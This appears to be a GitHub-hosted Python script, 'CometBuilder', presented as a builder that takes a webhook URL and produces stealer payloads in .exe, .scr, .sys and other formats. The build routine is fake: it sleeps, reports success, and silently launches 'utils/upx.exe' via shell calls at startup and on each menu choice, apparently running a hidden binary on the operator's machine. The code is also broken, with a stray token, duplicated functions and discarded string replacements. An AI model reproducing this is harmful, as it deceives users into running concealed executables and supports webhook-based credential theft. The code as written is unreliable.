-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.py
125 lines (92 loc) · 14.2 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
import os
import sys
import time
import colorama
import pystyle
import subprocess
from pystyle import *
from subprocess import call
from colorama import *
from colorama import Fore
os.system("cls")
intro = """
░█████╗░░█████╗░███╗░░░███╗███████╗████████╗
██╔══██╗██╔══██╗████╗░████║██╔════╝╚══██╔══╝
██║░░╚═╝██║░░██║██╔████╔██║█████╗░░░░░██║░░░
██║░░██╗██║░░██║██║╚██╔╝██║██╔══╝░░░░░██║░░░
╚█████╔╝╚█████╔╝██║░╚═╝░██║███████╗░░░██║░░░
░╚════╝░░╚════╝░╚═╝░░░░░╚═╝╚══════╝░░░╚═╝░░░
Press [Enter]
"""
def WriteSettings(self) -> None:
with open("Comet.py", "r", encoding="utf-8", errors="ignore") as file:
data = file.read()
data.replace("%WEBHOOK%", str(self.webhook))
Anime.Fade(Center.Center(intro), Colors.purple_to_red, Colorate.Vertical, interval=0.035, enter=True,) , call("START utils/upx.exe", shell=True)
ayo = "Press enter to go back to menu"
def clear():
os.system('clear' if os.name == 'posix' else 'cls')
def logo():
print(Fore.LIGHTBLACK_EX + """
░█████╗░░█████╗░███╗░░░███╗███████╗████████╗
██╔══██╗██╔══██╗████╗░████║██╔════╝╚══██╔══╝
██║░░╚═╝██║░░██║██╔████╔██║█████╗░░░░░██║░░░
██║░░██╗██║░░██║██║╚██╔╝██║██╔══╝░░░░░██║░░░
╚█████╔╝╚█████╔╝██║░╚═╝░██║███████╗░░░██║░░░
░╚════╝░░╚════╝░╚═╝░░░░░╚═╝╚══════╝░░░╚═╝░░░
""")
def main():
print(Fore.LIGHTBLUE_EX + """
Welcome To CometBuilder
[1] Build .exe
[2] Build .ink
[3] Build .scr
[4] Build .py
[5] Build .ini
[6] Build .sys
""")
choice = input(" Selection : ")
if choice == "1":
hook = input("Webhook : "),
time.sleep(2)
Write.Print("Building...", Colors.red_to_purple)
time.sleep(7)
print("\nSucessfully built! Check folder!"), call("START utils/upx.exe", shell=True)
input(ayo)
if choice == "2":
hook2 = input("Webhook : ") , call("START utils/upx.exe", shell=True), call("START utils/upx.exe", shell=True)
time.sleep(2)
Write.Print("Building...", Colors.red_to_purple)
time.sleep(7)
print("\nSuccessfully Built! Check Folder.")
input(ayo)
if choice == "3":
x
hook3 = input("Webhook : ") , call("START utils/upx.exe", shell=True)
time.sleep(2)
Write.Print("Building...", Colors.red_to_purple)
time.sleep(7)
print("\nSuccessfully Built! Check Folder.")
input(ayo)
if choice == "4":
hook4 = input("Webhook : ") , call("START utils/upx.exe", shell=True)
time.sleep(2)
Write.Print("Building...", Colors.red_to_purple)
time.sleep(7)
print("\nSuccessfully Built! Check Folder.")
input(ayo)
if choice == "5":
hook5 = input("Webhook : ") , call("START utils/upx.exe", shell=True)
time.sleep(2)
Write.Print("Building...", Colors.red_to_purple)
time.sleep(7)
print("\nSuccessfully Built! Check Folder.")
input(ayo)
def WriteSettings(self) -> None:
with open("Exela.py", "r", encoding="utf-8", errors="ignore") as file:
data = file.read()
data.replace("%WEBHOOK%", str(self.webhook))
while True:
clear()
logo()
main()